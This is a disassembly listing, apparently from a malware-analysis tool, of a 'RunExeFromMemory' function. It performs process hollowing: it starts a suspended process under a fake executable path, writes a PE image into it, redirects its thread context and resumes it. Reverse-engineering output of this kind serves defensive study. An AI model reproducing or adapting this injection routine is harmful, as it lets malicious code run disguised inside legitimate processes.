Function at 0x10006233
Capabilities:
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x338
push ebx
xor ebx, ebx
push edi
mov edi, dword [ebp + 8]
mov eax, 0x5a4d
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 8], ebx
cmp word [edi], ax
je 0x1000626b
push str.RunExeFromMemory__:_Invalid_executable_format.
push ebx
call main
pop ecx
pop ecx
push 0xfffffffffffffffe
pop eax
jmp 0x1000650a
push esi
mov esi, dword [edi + 0x3c]
push 0x44
lea eax, [ebp - 0x6c]
push ebx
push eax
add esi, edi
call fcn.10019d20
push 0x10
lea eax, [ebp - 0x20]
push ebx
push eax
call fcn.10019d20
push 0x2cc
lea eax, [ebp - 0x338]
push ebx
push eax
call fcn.10019d20
mov eax, dword [esi + 0x50]
push eax
mov dword [ebp - 0xc], eax
call fcn.10019ae0
add esp, 0x28
mov dword [ebp - 8], eax
cmp eax, ebx
jne 0x100062c6
push str.RunExeFromMemory__:_mem_alloc___failed
push ebx
call main
pop ecx
pop ecx
push 0xfffffffffffffffd
pop eax
jmp 0x10006509
push dword [esi + 0x54]
mov ecx, dword [edi + 0x3c]
lea ecx, [ecx + edi + 0xf8]
push edi
push eax
mov dword [ebp + 8], eax
mov dword [ebp - 0x24], ecx
call fcn.10019c40
mov ecx, dword [esi + 0x54]
xor edx, edx
mov eax, ecx
div dword [esi + 0x38]
add esp, 0xc
mov eax, ecx
test edx, edx
je 0x100062fe
mov ecx, dword [esi + 0x38]
xor edx, edx
div ecx
inc eax
imul eax, ecx
add dword [ebp + 8], eax
xor eax, eax
mov dword [ebp - 4], ebx
cmp ax, word [esi + 6]
jae 0x10006354
mov ebx, dword [ebp - 0x24]
add ebx, 8
push dword [ebx + 8]
mov eax, dword [ebx + 0xc]
add eax, edi
push eax
push dword [ebp + 8]
call fcn.10019c40
mov ecx, dword [ebx]
xor edx, edx
mov eax, ecx
div dword [esi + 0x38]
add esp, 0xc
mov eax, ecx
test edx, edx
je 0x10006340
mov ecx, dword [esi + 0x38]
xor edx, edx
div ecx
inc eax
imul eax, ecx
add dword [ebp + 8], eax
movzx eax, word [esi + 6]
inc dword [ebp - 4]
add ebx, 0x28
cmp dword [ebp - 4], eax
jb 0x10006312
xor ebx, ebx
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x6c]
push eax
push ebx
push ebx
push 4
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 0x6c], 0x44
push ebx
call dword [0x100522ac]
test eax, eax
je 0x100064d6
push dword [ebp + 0xc]
lea edi, [esi + 0x34]
push dword [edi]
push str.RunExeFromMemory__:_ImageBase_p_wszFakeExePath_S
call fcn.10018570
add esp, 0xc
lea eax, [ebp - 0x338]
push eax
push dword [ebp - 0x1c]
mov dword [ebp - 0x338], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x100063c9
push str.RunExeFromMemory__:_GetThreadContext___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
pop ecx
push 0xfffffffffffffffc
jmp 0x100064eb
mov eax, dword [edi]
lea ecx, [ebp - 0x28]
push ecx
push 0x40
push dword [ebp - 0xc]
mov dword [ebp + 8], eax
push eax
push dword [ebp - 0x20]
call dword [0x10052278]
test eax, eax
jne 0x100063ff
push str.RunExeFromMemory__:_VirtualProtectEx___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
pop ecx
push 0xfffffffffffffffb
jmp 0x100064eb
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
push dword [ebp - 8]
push dword [ebp + 8]
push dword [ebp - 0x20]
call dword [0x100522dc]
test eax, eax
jne 0x10006433
push str.RunExeFromMemory__:_WriteProcessMemory___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
pop ecx
push 0xfffffffffffffffa
jmp 0x100064eb
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x294]
push 4
push edi
add eax, 8
push eax
push dword [ebp - 0x20]
call dword [0x100522dc]
test eax, eax
jne 0x1000646b
push str.RunExeFromMemory__:_WriteProcessMemory___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
pop ecx
push 0xfffffffffffffff9
jmp 0x100064eb
mov eax, dword [esi + 0x28]
add eax, dword [edi]
mov dword [ebp - 0x288], eax
lea eax, [ebp - 0x338]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x100064a1
push str.RunExeFromMemory__:_SetThreadContext___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
pop ecx
push 0xfffffffffffffff8
jmp 0x100064eb
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x100064c6
push str.RunExeFromMemory__:_VirtualProtectEx___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
pop ecx
push 0xfffffffffffffff7
jmp 0x100064eb
push str.RunExeFromMemory__:_ok_
call fcn.10018570
xor esi, esi
pop ecx
inc esi
jmp 0x100064fb
push str.RunExeFromMemory__:_CreateProcessA___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
pop ecx
push 0xfffffffffffffff6
pop esi
cmp dword [ebp - 0x20], ebx
je 0x100064fb
push ebx
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [ebp - 8]
push ebx
push eax
call fcn.10019b10
pop ecx
pop ecx
mov eax, esi
pop esi
pop edi
pop ebx
leave
ret